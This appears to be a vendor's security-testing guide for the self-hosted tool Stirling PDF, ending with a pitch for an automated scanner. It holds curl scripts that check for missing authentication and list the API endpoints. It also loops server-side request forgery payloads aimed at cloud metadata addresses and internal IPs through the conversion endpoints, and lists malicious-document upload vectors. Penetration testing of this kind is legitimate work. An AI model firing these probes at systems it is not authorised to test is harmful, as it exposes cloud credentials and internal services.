Stirling PDF Security Testing: File Upload, Server-Side Processing, Script Injection, and No-Auth Default

Stirling PDF is one of the most widely deployed self-hosted PDF manipulation tools, offering over 50 PDF operations including merge, split, compress, convert, OCR, and watermark. Its security assessment covers: Stirling PDF runs without authentication by default — the SECURITY_ENABLE_LOGIN setting is false unless explicitly enabled, meaning any user who can reach the instance has full access to all PDF processing operations via the web UI and REST API; Stirling PDF's processing pipelines invoke server-side tools including LibreOffice (for format conversion), Ghostscript (for PDF optimization), and Tesseract (for OCR) — crafted input documents targeting parsing vulnerabilities in these tools affect the Stirling PDF server; the HTML-to-PDF conversion operation accepts a URL or HTML content and fetches external resources during conversion — URLs pointing to internal services create an SSRF vector; and the document conversion features that invoke LibreOffice accept DOCX, ODT, and other office formats that may contain malicious macros or exploits targeting specific LibreOffice versions. This guide covers systematic Stirling PDF security assessment.

Table of Contents

  1. Unauthenticated API Access
  2. HTML-to-PDF SSRF
  3. Malicious File Upload Testing
  4. Stirling PDF Security Hardening

Unauthenticated API Access

# Stirling PDF — no authentication by default (SECURITY_ENABLE_LOGIN=false)
STIRLING_URL="https://pdf.example.com"

# Check if authentication is required
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
  "${STIRLING_URL}/api/v1/info" 2>/dev/null)
echo "API info status (no auth): ${STATUS}"

# Get server information without credentials
curl -s "${STIRLING_URL}/api/v1/info" 2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    print(f'App name: {d.get(\"appName\")}')
    print(f'Version: {d.get(\"version\")}')
    print(f'Security enabled: {d.get(\"loginEnabled\",False)}')
except: pass
" 2>/dev/null

# Test unrestricted API access — merge PDFs without authentication
curl -s -X POST "${STIRLING_URL}/api/v1/general/merge-pdfs" \
  -F "fileInput=@/tmp/test.pdf" \
  -o /tmp/merged_test.pdf 2>/dev/null
echo "Merge test HTTP status: $?"

# List available endpoints (all accessible without auth when security disabled)
curl -s "${STIRLING_URL}/v3/api-docs" 2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    paths = list(d.get('paths',{}).keys())
    print(f'API endpoints: {len(paths)}')
    for p in paths[:15]:
        print(f'  {p}')
except: pass
" 2>/dev/null

HTML-to-PDF SSRF

# Stirling PDF HTML-to-PDF conversion — server fetches URL or renders HTML
# SSRF via URL parameter in conversion endpoint

STIRLING_URL="https://pdf.example.com"

# Test SSRF via HTML-to-PDF with URL parameter
# Stirling PDF server fetches the URL and renders it as a PDF
SSRF_TARGETS=(
  "http://169.254.169.254/latest/meta-data/"
  "http://metadata.google.internal/computeMetadata/v1/"
  "http://127.0.0.1:8080/"
  "http://10.0.0.1/"
)

for TARGET in "${SSRF_TARGETS[@]}"; do
  echo "Testing SSRF: ${TARGET}"
  # Submit URL for HTML-to-PDF conversion
  curl -s -X POST "${STIRLING_URL}/api/v1/convert/html/pdf" \
    -H "Content-Type: application/json" \
    -d "{\"fileInput\": \"${TARGET}\"}" \
    -o /dev/null -w "%{http_code}\n" 2>/dev/null

  # Some versions accept a URL parameter directly
  curl -s -X POST "${STIRLING_URL}/api/v1/convert/url/pdf" \
    -F "urlInput=${TARGET}" \
    -o /dev/null -w "%{http_code}\n" 2>/dev/null
done

Stirling PDF Security Hardening

Stirling PDF Security Hardening Checklist:
Security TestMethodRisk
No authentication required for all PDF operationsPOST /api/v1/general/merge-pdfs without credentials — all 50+ PDF operations accessible to any user when SECURITY_ENABLE_LOGIN=false (default)High
HTML-to-PDF SSRF via URL parameterPOST /api/v1/convert/url/pdf with internal URL — Stirling PDF server fetches the URL during conversion enabling SSRF to cloud metadata endpoints and internal servicesHigh
Malicious LibreOffice document uploadUpload crafted DOCX/ODT/ODP file to /api/v1/convert/*/pdf — processed by LibreOffice on the server; targeting LibreOffice vulnerabilities including macro execution in macro-enabled documentsMedium
Ghostscript malicious PDF processingUpload crafted PDF to compression/optimization endpoints — processed by Ghostscript which has a history of vulnerabilities including path traversal and code execution via specially crafted PostScript/PDFMedium
API endpoint enumeration via OpenAPI specGET /v3/api-docs — returns complete OpenAPI specification of all available endpoints without authentication; reveals all processing operations and their parametersLow
File upload disclosure via temporary filesUploaded files are processed in temporary directories; race condition between upload and processing may allow reading other users' uploaded documents in shared hosting scenariosLow

Automate Stirling PDF Security Testing

Ironimo tests Stirling PDF deployments for unauthenticated API access to all PDF processing operations when SECURITY_ENABLE_LOGIN is false, HTML-to-PDF SSRF via the URL conversion endpoint triggering server-side HTTP requests to internal services and cloud metadata endpoints, malicious document upload to the LibreOffice conversion pipeline, Ghostscript malicious PDF processing, OpenAPI specification exposure revealing all endpoints, and processing pipeline behavior analysis for the 50+ available operations.

Start free scan